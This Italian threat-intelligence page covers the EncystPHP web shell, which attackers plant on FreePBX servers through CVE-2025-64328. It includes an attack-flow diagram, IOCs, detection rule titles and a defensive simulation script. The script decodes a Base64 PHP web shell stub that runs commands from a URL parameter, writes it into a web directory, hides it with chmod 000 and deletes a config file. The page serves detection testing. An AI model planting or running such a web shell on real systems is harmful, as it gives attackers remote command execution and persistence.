SOC Prime Bias: Critico

03 Feb 2026 19:33

EncystPHP: Web Shell FreePBX Armato per Compromissione Amministrativa Persistente

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
EncystPHP: Web Shell FreePBX Armato per Compromissione Amministrativa Persistente
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

FortiGuard Labs segnala una web shell PHP soprannominata EncystPHP distribuita su istanze FreePBX esposte sfruttando CVE-2025-64328. L’impianto consente l’esecuzione di comandi remoti, fornisce utenti privilegiati e imposta una persistenza stratificata tramite cron job e dropper successivi. L’attivitĂ  è collegata al gruppo INJ3CTOR3 e sembra mirata agli ambienti di telecomunicazione. Gli indicatori pubblicati includono IP malevoli, domini, URL e piĂą percorsi di file ostili.

Indagine

Gli investigatori hanno rintracciato l’accesso iniziale a un difetto di iniezione di comandi post-autenticazione nel FreePBX Endpoint Manager. Dopo uno sfruttamento riuscito, l’operatore preleva un dropper da 45.234.176.202, allenta le autorizzazioni sui componenti chiave PHP, estrae le credenziali del database, crea un account a livello di root e aggiunge una chiave SSH controllata dall’attaccante. La persistenza viene rafforzata con voci cron che ripetutamente scaricano ulteriori dropper e aggiornano gli artefatti. EncystPHP imita anche i file legittimi di FreePBX e manipola i timestamp per ridurre la visibilitĂ  durante la triage routine.

Mitigazione

Aggiornare il FreePBX Endpoint Manager per risolvere CVE-2025-64328 (e qualsiasi correzione correlata) il prima possibile. Cacciare file web shell non autorizzati, pianificazioni cron sospette e nuovi utenti locali privilegiati creati di recente. Bloccare l’uscita HTTP verso infrastrutture malevoli conosciute e applicare permessi rigorosi e con il minore privilegio su directory esposte al web e asset PHP.

Risposta

Alla rilevazione, isolare il server PBX colpito, rimuovere gli artefatti EncystPHP, eliminare i cron job non autorizzati e reimpostare account locali e chiavi SSH. Rivedere i log e i backup delle configurazioni per definire l’ambito delle modifiche, quindi applicare gli aggiornamenti di sicurezza correnti e rafforzare l’interfaccia web. Validare che non rimangano droppers secondari o meccanismi di persistenza prima di ripristinare le normali operazioni di telefonia.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Azione</b> – <b>T1190 Sfruttamento di Applicazione Esposta al Pubblico</b><br/>Sfruttamento del gestore endpoint FreePBX CVE-2025-64328”] class initial_access action tool_wget[“<b>Strumento</b> – <b>Nome</b>: wget<br/><b>Descrizione</b>: download di file tramite HTTP”] class tool_wget tool process_shell[“<b>Processo</b> – <b>T1059.004 Interprete di Comandi e Script: Unix Shell</b><br/>Script bash decodificati da Base64 c, k.php, test.sh”] class process_shell process file_c[“<b>File</b> – c (script bash)”] class file_c file file_kphp[“<b>File</b> – k.php (dropper PHP)”] class file_kphp file file_testsh[“<b>File</b> – test.sh (script bash)”] class file_testsh file credential_access[“<b>Azione</b> – <b>T1003 Dump delle Credenziali del Sistema Operativo</b><br/>Raccolta delle credenziali del database da /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>File</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Azione</b> – <b>T1068 Sfruttamento per l’Escalation dei Privilegi</b>”] class priv_esc_exploit action account_create[“<b>Azione</b> – <b>T1136.001 Creazione Account: Account Locale</b><br/>Creato utente a livello root newfpbx con hash di password preimpostato”] class account_create action persistence_webshell[“<b>Azione</b> – <b>T1505.003 Componente Software del Server: Web Shell</b><br/>Distribuzione di EncystPHP mascherato come ajax.php e config.php”] class persistence_webshell action file_ajaxphp[“<b>File</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>File</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Azione</b> – <b>T1053.003 AttivitĂ /Lavoro Pianificato: Cron</b><br/>Installazione di job cron per scaricare ed eseguire k.php ogni minuto”] class persistence_cron action defense_perm_mod[“<b>Azione</b> – <b>T1222.002 Modifica dei Permessi di File e Directory: Linux</b><br/>Impostazione dei permessi dei file a 000 e falsificazione dei timestamp”] class defense_perm_mod action defense_masquerade[“<b>Azione</b> – <b>T1036.005 Mascheramento</b><br/>Posizionamento delle shell in percorsi dall’aspetto legittimo”] class defense_masquerade action defense_indicator_removal[“<b>Azione</b> – <b>T1070.004 Eliminazione di File</b> e <b>T1070.006 Alterazione dei Timestamp</b><br/>Eliminazione dei log e delle voci cron, allineamento dei timestamp dei file”] class defense_indicator_removal action lateral_movement_ssh[“<b>Azione</b> – <b>T1021.004 Servizi Remoti: SSH</b> e <b>T1098.004 Chiavi Autorizzate SSH</b><br/>Inserimento della chiave pubblica dell’attaccante in authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Azione</b> – <b>T1105 Trasferimento di Strumenti in Ingresso</b> e <b>T1071.001 Protocollo di Livello Applicazione: Protocolli Web</b><br/>Recupero dei dropper da 45.234.176.202 tramite wget”] class command_and_control action impact_hijack[“<b>Azione</b> – <b>T1496 Dirottamento delle Risorse</b><br/>Utilizzo del PBX per effettuare chiamate in uscita non autorizzate”] class impact_hijack action defense_impair[“<b>Azione</b> – <b>T1562.001 Compromissione delle Difese</b> e <b>T1548 Abuso dei Meccanismi di Controllo dell’Escalation dei Privilegi</b><br/>Disabilitazione della segnalazione degli errori e utilizzo del contesto amministrativo per modifiche di sistema”] class defense_impair action %% Edges initial_access –>|utilizza| tool_wget tool_wget –>|scarica| file_c tool_wget –>|scarica| file_kphp tool_wget –>|scarica| file_testsh initial_access –>|porta a| process_shell process_shell –>|esegue| file_c process_shell –>|esegue| file_kphp process_shell –>|esegue| file_testsh process_shell –>|porta a| credential_access credential_access –>|legge| file_freepbxconf credential_access –>|abilita| priv_esc_exploit priv_esc_exploit –>|abilita| account_create account_create –>|abilita| persistence_webshell persistence_webshell –>|crea| file_ajaxphp persistence_webshell –>|crea| file_configphp persistence_webshell –>|abilita| persistence_cron persistence_cron –>|crea| file_kphp persistence_cron –>|utilizza| tool_wget persistence_cron –>|imposta| defense_perm_mod defense_perm_mod –>|supporta| defense_masquerade defense_masquerade –>|supporta| defense_indicator_removal persistence_webshell –>|supporta| lateral_movement_ssh lateral_movement_ssh –>|abilita| command_and_control command_and_control –>|fornisce| impact_hijack command_and_control –>|supporta| defense_impair

Flusso di Attacco

Rilevamenti

Possibile Nuovo Account per la Persistenza [Linux] (via cmdline)

Squadra SOC Prime
02 Feb 2026

File Cron Creato (via file_event)

Squadra SOC Prime
02 Feb 2026

Download in Cartelle Sospette (via cmdline)

Squadra SOC Prime
02 Feb 2026

Possibile Tentativo di Scoperta di SSH Known Hosts [MacOS] (via cmdline)

Squadra SOC Prime
02 Feb 2026

Possibile Manipolazione di Stringhe Codificate in Base64 (via cmdline)

Squadra SOC Prime
02 Feb 2026

IOC (IP di Destinazione) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine

Regole IA SOC Prime
02 Feb 2026

IOC (HashSha256) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine

Regole IA SOC Prime
02 Feb 2026

IOC (IP di Sorgente) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine

Regole IA SOC Prime
02 Feb 2026

Rileva Voci Crontab per il Download Persistente di k.php e c Dropper [Creazione di Processo Linux]

Regole IA SOC Prime
02 Feb 2026

Distribuzione e Persistenza della Web Shell EncystPHP tramite CVE-2025-64328 [Creazione di Processo Linux]

Regole IA SOC Prime
02 Feb 2026

Rilevamento dell’AttivitĂ  della Web Shell EncystPHP in FreePBX [Evento File Linux]

Regole IA SOC Prime
02 Feb 2026

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.

Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrativa e Comandi dell’Attacco:

    1. Carica la web shell EncystPHP – L’attaccante crea un payload PHP codificato in Base64 e lo consegna tramite un HTTP POST all’interfaccia web di FreePBX, facendo sì che il file ajax.php sia scritto in /var/www/html/admin/views/ajax.php.
    2. Imposta permessi restrittivi – Subito dopo la distribuzione, l’attaccante esegue chmod 000 ajax.php per nascondere la shell agli utenti normali e forzare l’esecuzione sotto l’account privilegiato del server web (T1222.002).
    3. Elimina configurazione critica – Per compromettere il rilevamento e forzare il sistema a ricaricarsi con la shell malevola, l’attaccante rimuove /etc/freepbx.conf (T1070.004, T1562.001).
    4. Attiva la shell – Una semplice richiesta HTTP GET al ajax.php appena creato esegue il payload, stabilendo una shell inversa (T1105, T1059.004).
  • Script di Test di Regressione: Lo script riproduce i passaggi 1-3 in una directory di test controllata (/tmp/freepbx_test) per evitare di influenzare un sistema di produzione.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Configurazione delle directory di test (rispecchiante il layout di FreePBX) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Crea file di configurazione dummy (verrĂ  cancellato) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Payload EncystPHP codificato in Base64 (molto piccolo stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Passaggio 1: Distribuzione della web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell distribuita su ${WEB_ROOT}/ajax.php"
    
    # ----- Passaggio 2: Permessi restrittivi (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permessi impostati a 000"
    
    # ----- Passaggio 3: Elimina file di configurazione critico -----
    sudo rm -f "${CONFIG_FILE}"
    echo "${CONFIG_FILE} eliminato"
    
    # ----- Facoltativo: attiva la shell (simulato) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulazione completata. Controllare SIEM per avvisi."
  • Comandi di Pulizia:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Ambiente di test pulito."